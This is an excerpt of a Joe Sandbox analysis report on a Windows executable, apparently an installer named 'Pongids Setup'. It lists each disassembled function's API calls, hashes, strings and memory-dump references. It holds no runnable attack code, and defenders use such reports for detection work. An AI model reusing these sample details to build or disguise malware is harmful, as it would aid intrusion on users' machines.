Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction ID: 49fdcfdf8b1973cd13611e97ba0bfafd8618b6cb304eeeee9131019f9f046fb0
Opcode Fuzzy Hash: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction Fuzzy Hash: 03B01271644200BFDA214F00DF05F057B21A790700F10C030B748380F082712420EB4D

Function 004014D6 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E9

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 5103c2e833fb6cec983ac643f83c5405fcf5b56718913b7927d61a5481dde75b
Instruction ID: a8a1054ff6e124a16992140d9831d4e67a861e682019e3b6a28de944f62df8e5
Opcode Fuzzy Hash: 5103c2e833fb6cec983ac643f83c5405fcf5b56718913b7927d61a5481dde75b
Instruction Fuzzy Hash: B5D05E73B141519BD750EBB8BAC445E77E4EB403257304837E502E2091E67989429618

Non-executed Functions

Function 004050F7 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405156
GetDlgItem.USER32(?,000003EE), ref: 00405165
GetClientRect.USER32(?,?), ref: 004051A2
GetSystemMetrics.USER32(00000002), ref: 004051A9
SendMessageA.USER32(?,0000101B,00000000,?), ref: 004051CA
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 004051DB
SendMessageA.USER32(?,00001001,00000000,?), ref: 004051EE
SendMessageA.USER32(?,00001026,00000000,?), ref: 004051FC
SendMessageA.USER32(?,00001024,00000000,?), ref: 0040520F
ShowWindow.USER32(00000000,?,0000001B,?), ref: 00405231
ShowWindow.USER32(?,00000008), ref: 00405245
GetDlgItem.USER32(?,000003EC), ref: 00405266
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 00405276
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 0040528F
SendMessageA.USER32(00000000,00002001,00000000,?), ref: 0040529B
GetDlgItem.USER32(?,000003F8), ref: 00405174

Part of subcall function 00403FBA: SendMessageA.USER32(00000028,?,00000001,00403DEB), ref: 00403FC8

GetDlgItem.USER32(?,000003EC), ref: 004052B7
CreateThread.KERNEL32(00000000,00000000,Function_0000508B,00000000), ref: 004052C5
CloseHandle.KERNEL32(00000000), ref: 004052CC
ShowWindow.USER32(00000000), ref: 004052EF
ShowWindow.USER32(?,00000008), ref: 004052F6
ShowWindow.USER32(00000008), ref: 0040533C
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405370
CreatePopupMenu.USER32 ref: 00405381
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 00405396
GetWindowRect.USER32(?,000000FF), ref: 004053B6
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053CF
SendMessageA.USER32(?,0000102D,00000000,?), ref: 0040540B
OpenClipboard.USER32(00000000), ref: 0040541B
EmptyClipboard.USER32 ref: 00405421
GlobalAlloc.KERNEL32(00000042,?), ref: 0040542A
GlobalLock.KERNEL32(00000000), ref: 00405434
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405448
GlobalUnlock.KERNEL32(00000000), ref: 00405461
SetClipboardData.USER32(00000001,00000000), ref: 0040546C
CloseClipboard.USER32 ref: 00405472

Strings

@y, xrefs: 004053E7

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: @y
API String ID: 590372296-2793234042
Opcode ID: fb478b241302d14890c8e569f688314f17ac97b328ad1953f1dfc7460e5c88c7
Instruction ID: 669047f9f67e304dd712f5be3c8e464dbcc99e7ae4a165c688d328355b6db051
Opcode Fuzzy Hash: fb478b241302d14890c8e569f688314f17ac97b328ad1953f1dfc7460e5c88c7
Instruction Fuzzy Hash: 9DA16970900249BFEF119FA0DD89EAE7F79EB08354F00806AFA05B61A0C7795E50DF69

Function 00404936 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 0040494E
GetDlgItem.USER32(?,00000408), ref: 00404959
GlobalAlloc.KERNEL32(00000040,00000002), ref: 004049A3
LoadBitmapA.USER32(0000006E), ref: 004049B6
SetWindowLongA.USER32(?,000000FC,00404F2D), ref: 004049CF
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 004049E3
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 004049F5
SendMessageA.USER32(?,00001109,00000002), ref: 00404A0B
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404A17
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404A29
DeleteObject.GDI32(00000000), ref: 00404A2C
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404A57
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404A63
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404AF8
SendMessageA.USER32(?,0000110A,?,00000000), ref: 00404B23
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404B37
GetWindowLongA.USER32(?,000000F0), ref: 00404B66
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404B74
ShowWindow.USER32(?,00000005), ref: 00404B85
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404C82
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404CE7
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404CFC
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404D20
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404D40
ImageList_Destroy.COMCTL32(?), ref: 00404D55
GlobalFree.KERNEL32(?), ref: 00404D65
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404DDE
SendMessageA.USER32(?,00001102,?,?), ref: 00404E87
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404E96
InvalidateRect.USER32(?,00000000,00000001), ref: 00404EB6
ShowWindow.USER32(?,00000000), ref: 00404F04
GetDlgItem.USER32(?,000003FE), ref: 00404F0F
ShowWindow.USER32(00000000), ref: 00404F16

Strings

, xrefs: 00404EEE
N, xrefs: 00404BC0
M, xrefs: 00404ADF

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 56b3b82b533b733a33c13492c2ad1bc1f2630ac234a6e512c7e667a37d25cb4c
Instruction ID: 10d6cb261f95093856db0383de4589f8155b4d68da151c8c89fd000e0678f767
Opcode Fuzzy Hash: 56b3b82b533b733a33c13492c2ad1bc1f2630ac234a6e512c7e667a37d25cb4c
Instruction Fuzzy Hash: AB027CB0900209AFEB14DF64DC85AAE7BB9FB84314F10817AF610BA2E1D7789D51CF58

Function 004043C3 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404412
SetWindowTextA.USER32(00000000,?), ref: 0040443C
SHBrowseForFolderA.SHELL32(?,0079D918,?), ref: 004044ED
CoTaskMemFree.OLE32(00000000), ref: 004044F8
lstrcmpiA.KERNEL32(Call,0079E540), ref: 0040452A
lstrcatA.KERNEL32(?,Call), ref: 00404536
SetDlgItemTextA.USER32(?,000003FB,?), ref: 00404548

Part of subcall function 0040557A: GetDlgItemTextA.USER32(?,?,00000400,0040457F), ref: 0040558D

Part of subcall function 0040600B: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\nRNzqQOQwk.exe",765F3410,C:\Users\user\AppData\Local\Temp\,00000000,0040315B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403370), ref: 00406063
Part of subcall function 0040600B: CharNextA.USER32(?,?,?,00000000), ref: 00406070
Part of subcall function 0040600B: CharNextA.USER32(?,"C:\Users\user\Desktop\nRNzqQOQwk.exe",765F3410,C:\Users\user\AppData\Local\Temp\,00000000,0040315B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403370), ref: 00406075
Part of subcall function 0040600B: CharPrevA.USER32(?,?,765F3410,C:\Users\user\AppData\Local\Temp\,00000000,0040315B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403370), ref: 00406085

GetDiskFreeSpaceA.KERNEL32(0079D510,?,?,0000040F,?,0079D510,0079D510,?,00000001,0079D510,?,?,000003FB,?), ref: 00404606
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404621

Part of subcall function 0040477A: lstrlenA.KERNEL32(0079E540,0079E540,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404695,000000DF,00000000,00000400,?), ref: 00404818
Part of subcall function 0040477A: wsprintfA.USER32 ref: 00404820
Part of subcall function 0040477A: SetDlgItemTextA.USER32(?,0079E540), ref: 00404833

Strings

@y, xrefs: 004044C0
Call, xrefs: 00404524, 00404529, 00404534
C:\Users\user\slavelivets, xrefs: 00404513
A, xrefs: 004044E6

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: @y$A$C:\Users\user\slavelivets$Call
API String ID: 2624150263-2138057794
Opcode ID: 3d12c395db0b8a5e031a22e6692dd266f1d5deac6801d88cb2d33c24727f66a7
Instruction ID: b79cf5757fdebc40129ea8bf430174fd55c22843b8008fc959c2d10819856cf3
Opcode Fuzzy Hash: 3d12c395db0b8a5e031a22e6692dd266f1d5deac6801d88cb2d33c24727f66a7
Instruction Fuzzy Hash: A3A170B1900209ABDB11EFA5CC45BAF77B8EF85314F10843BF611B62D1E77C9A418B69

Function 004020CD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407408,?,00000001,004073F8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040214C
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,004073F8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 004021F8

Strings

C:\Users\user\slavelivets, xrefs: 0040218C

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\slavelivets
API String ID: 123533781-1403250623
Opcode ID: 9afc873253917f5f4e985fd398202ffa23981bb55cb45aee65fcfdfca240a494
Instruction ID: 3b959fe0d73b6f2ff8ba1a3dad26e84ad0429d5bc67268e837327fa781b0949d
Opcode Fuzzy Hash: 9afc873253917f5f4e985fd398202ffa23981bb55cb45aee65fcfdfca240a494
Instruction Fuzzy Hash: 705116B5E00208BFCB00DFE4C988A9DBBB6EF48314B2445AAF515FB2D1DA799941CB54

Function 0040270B Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 0040271A

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: fce0c61a2aa14f88a491396f2313ca711f415b7b1927e6be8b43a2417c2e171c
Instruction ID: 3ccff3199aeab2db1e2dd923352da36f4292fa18247536f83ce369c7762b159a
Opcode Fuzzy Hash: fce0c61a2aa14f88a491396f2313ca711f415b7b1927e6be8b43a2417c2e171c
Instruction Fuzzy Hash: 76F05572604110EFD700EBA49A089FEB768DF15324FA0407BF181F20C0CBBC8A429B2A

Function 00403AB2 Relevance: 59.8, APIs: 32, Strings: 2, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403AEE
ShowWindow.USER32(?), ref: 00403B0B
DestroyWindow.USER32 ref: 00403B1F
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403B3B
GetDlgItem.USER32(?,?), ref: 00403B5C
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403B70
IsWindowEnabled.USER32(00000000), ref: 00403B77
GetDlgItem.USER32(?,00000001), ref: 00403C25
GetDlgItem.USER32(?,00000002), ref: 00403C2F
SetClassLongA.USER32(?,000000F2,?), ref: 00403C49
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403C9A
GetDlgItem.USER32(?,?), ref: 00403D40
ShowWindow.USER32(00000000,?), ref: 00403D61
EnableWindow.USER32(?,?), ref: 00403D73
EnableWindow.USER32(?,?), ref: 00403D8E
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403DA4
EnableMenuItem.USER32(00000000), ref: 00403DAB
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403DC3
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403DD6
lstrlenA.KERNEL32(0079E540,?,0079E540,Pongids Setup), ref: 00403DFF
SetWindowTextA.USER32(?,0079E540), ref: 00403E0E
ShowWindow.USER32(?,0000000A), ref: 00403F42

Strings

@y, xrefs: 00403DEB
Pongids Setup, xrefs: 00403DF0

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: @y$Pongids Setup
API String ID: 184305955-1393332770
Opcode ID: c2e5c8a98494131a3f5258506286a32dbf8d0bdf9ff6fe3114ac61fbbd238155
Instruction ID: 1a58b870ca21ce47ba752d56327be38b30dd2316994c96cb4837d6e7696a1104
Opcode Fuzzy Hash: c2e5c8a98494131a3f5258506286a32dbf8d0bdf9ff6fe3114ac61fbbd238155
Instruction Fuzzy Hash: 81C1AF71904201ABEB216F61ED89E2A7EBCEB4570AF40853EF601B11F1C73DA941DB1E

Function 004040CE Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 205windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 00404159
GetDlgItem.USER32(00000000,000003E8), ref: 0040416D
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 0040418B
GetSysColor.USER32(?), ref: 0040419C
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 004041AB
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 004041BA
lstrlenA.KERNEL32(?), ref: 004041BD
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 004041CC
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 004041E1
GetDlgItem.USER32(?,0000040A), ref: 00404243
SendMessageA.USER32(00000000), ref: 00404246
GetDlgItem.USER32(?,000003E8), ref: 00404271
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 004042B1
LoadCursorA.USER32(00000000,00007F02), ref: 004042C0
SetCursor.USER32(00000000), ref: 004042C9
ShellExecuteA.SHELL32(0000070B,open,007A0EE0,00000000,00000000,00000001), ref: 004042DC
LoadCursorA.USER32(00000000,00007F00), ref: 004042E9
SetCursor.USER32(00000000), ref: 004042EC
SendMessageA.USER32(00000111,00000001,00000000), ref: 00404318
SendMessageA.USER32(00000010,00000000,00000000), ref: 0040432C

Strings

open, xrefs: 004042D4
N, xrefs: 0040425F
Call, xrefs: 0040429C

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
